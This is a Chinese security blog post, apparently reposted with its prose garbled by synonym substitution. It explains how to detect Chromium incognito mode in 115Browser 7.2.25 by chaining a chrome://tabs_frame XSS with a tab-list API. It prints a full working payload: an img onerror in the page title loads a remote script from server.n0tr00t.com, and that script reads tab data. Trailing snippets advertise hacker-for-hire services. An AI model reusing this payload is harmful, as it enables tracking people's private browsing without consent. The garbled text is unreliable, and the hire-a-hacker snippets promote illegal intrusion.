我可能是用了假的隐身形式
0x01 隐身形式
隐身形式会翻开一个新窗口，以便在其间以私密办法阅读互联网，而不让阅读器记载拜访的网站，当封闭隐身窗口后也不会留下 Cookie 等其他痕迹。用户可以在隐身窗口和所翻开的任何惯例阅读窗口之间进行切换，用户只要在运用隐身窗口时才会处于隐身形式，本文将简略的谈一下根据形式差异化的进犯办法。
0x02 阅读器形式的差异化
做过阅读器指纹检测的或许知道运用不同的函数办法或许 DOM 来判别指纹，想要判别方针阅读器当时处于隐身形式仍是正常形式，当然也需求找出两种形式下的差异化在哪里，之后运用脚本或其他办法去判别。尽管隐身形式不能用传统那些勘探指纹的办法来判别，但我在之前运用隐身形式的过程中发现，当用户输出拜访某些 ChromeURL 的时分阅读器不会在当时形式下翻开，例如：chrome://settings/manageProfile, chrome://history, chrome://extensions/ 等。这个差异很大的原因或许是隐私形式下关于 extensions, history, profile… 不相关信息时做出的不同处理，运用这个“特性”我想可以做些工作。
0x03 Vuln + Feature
现在咱们的抱负进犯流程：
获取阅读器当时 Title/location.href/Tabs 等信息； 运用 JavaScript 翻开上面测验存在差异化的 URL ； 判别用户现在的阅读器形式是否存在这个奇妙的不同；拿 115Browser 7.2.25 举例，当咱们在隐私形式下翻开 chrome://settings 时，阅读器启动了一个正常阅读器的进程：
咱们知道是不能从非 chrome 协议直接 href 跨到阅读器域的：
location.href='chrome://settings' "chrome://settings" testchrome.html:1 Not allowed to load local resource: chrome://settings/
所以这儿我去寻觅一个 chrome 域的跨站缝隙，这个 115 Chrome 域下的缝隙（已修正）坐落 chrome://tabs_frame ，页面 DOM 动态烘托网站 TABS Title 时过滤不谨慎导致的跨站：
var tpl = '<li><span>{title}</span><span class="0218-b2d9-3236-78fc close"></span></li>',
dom = {
list: document.getElementsByTagName('ul')[0],
index: -1,
doc: document
},
//jQuery,迭代得到当时元素在某个方向上的元素调集
dir = function(elem, dir) {
var matched = [],
cur = elem[dir];
while (cur && cur.nodeType !== 9) {
if (cur.nodeType === 1) {
matched.push(cur);
}
cur = cur[dir];
}
return matched;
};
...
//callback：获取当时翻开的标签并显现
OOF_GET_TAB_LIST = function(str) {
var json = *** ON.parse(str),
tabList = [];
for (var i = json.length - 1; i >= 0; i--) {
tabList.unshift(tpl.replace(/{(w+)}/g, function(match, key) {
return json[i][key];
}));
}
dom.list.innerHTML = tabList.join("");
}
现在咱们可以依照上面的思路来进行判别了，这儿我为了便利直接运用 115阅读器的 browserInterface.GetTabList 接口来获取 TABS 的差异化：
browserInterface.GetTabList
function(callback) {
native function NativeGetTabList();
return NativeGetTabList(callback);
}
这个办法接回收调函数获取当时阅读器的 TABS 信息：
0x04 Payload
http://server.n0tr00t.com/chrome/check_incognito_mode.html
<!DOCTYPE HTML>
<html>
<head>
<title><img src=@ style="display: none;"
onerror="a=document.createElement('script');a.src='http://server.n0tr00t.com/chrome/checkwindow.js?'+n
ew Date().getTime();a.id='abc';document.body.appendChild(a);">
</title>
</head>
<body>
TEST Chromeium Incognito Window
</body>
</html>
http://server.n0tr00t.com/chrome/checkwindow.js
/**
* Author: evi1m0.bat[at]gmail.com
* Check Chromium Browser Incognito Window
**/
initCount = function(){
location.href = 'chrome://settings/';
}
check = function(){
if(window.data.indexOf('"href":"chrome://settings/"') < 0){
document.body.innerHTML = 'Chrome Incognito Window!!!';
} else {
document.body.innerHTML = 'Chrome Normal :)';
}
}
setTimeout("initCount()", 100);
callback = function(data){window.data = data};
browserInterface.GetTabList('callback');
setTimeout("check()", 1000);
正常形式网页阅读和隐身形式网页的阅读图：
0x05 EOF
经过缝隙和特性的运用咱们成功的完成了对阅读器隐身形式的追寻，在测验过程中发现有些阅读器 chrome://…url 是禁用的，但仍然可以他们自身阅读器运用的伪协议来完成差异化的跳转（例如 *** 阅读器的 qqbrowser:// ），这种特性尽管需求一个缝隙来合作运用，不过我以为相比之下难度着实小了许多。
相关文章
API浸透测验根底
API浸透测验是一种常见的进犯面，进犯者能够经过它来进一步获取运用程序或许服务器的拜访权限。本篇文章中，我会讲到API浸透测验的一些根底知识。 本文分为下面三部分： 1. API浸透测验是什么？ 2....
淘宝有黑客接单是真的吗,支付宝被骗能找黑客吗,找黑客帮我
141、动态调用体系函数，逃避杀毒查杀后续就又是提权的进程，具体操作可参阅之前的博文1.能够依照功用点审计，比方谈论处是否支撑匿名，有没有获取ip处存在sql注入（X-FORWARD-FOR），头像处...
黑客网站_qq刷单被骗找黑客查人-黑客要怎么找
「黑客网站_qq刷单被骗找黑客查人-黑客要怎么找」%26%23x3c%3B%26%23x73%3B%26%23x63%3B%26%23x72%3B%26%23x69%3B%26%23x70%3B%26...
斯凯破解网,黑客玩酷联系方式,找黑客修改停车月卡信息
下载好burp api文件之后，有几个java文件，咱们在同一目新建一个BurpExtender.java，让其完成IBurpExtender, IScannerCheck。...
微信密码忘了怎么登录,滴滴快车注销后找黑客可以注册吗,黑客找手机定位
波克斗地主 2.212014/3/13 15:56试验环境22、通吃一切商城+动力上传体系第一种技能是一个陈旧的被称为“跨协议脚本”的技能，2001年宣布的论文详细描述了此进犯，但要害的是无论是Red...
PHP八大安全函数解析
在现代互联网中，咱们常常要 从世界各地的用户中取得输入数据。可是，咱们都知道“永久不能信任那些用户输入的数据”。所以在各种的Web开发语言中，都会供给保证用户输入数据安全的函数。在PHP中，有些十分...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！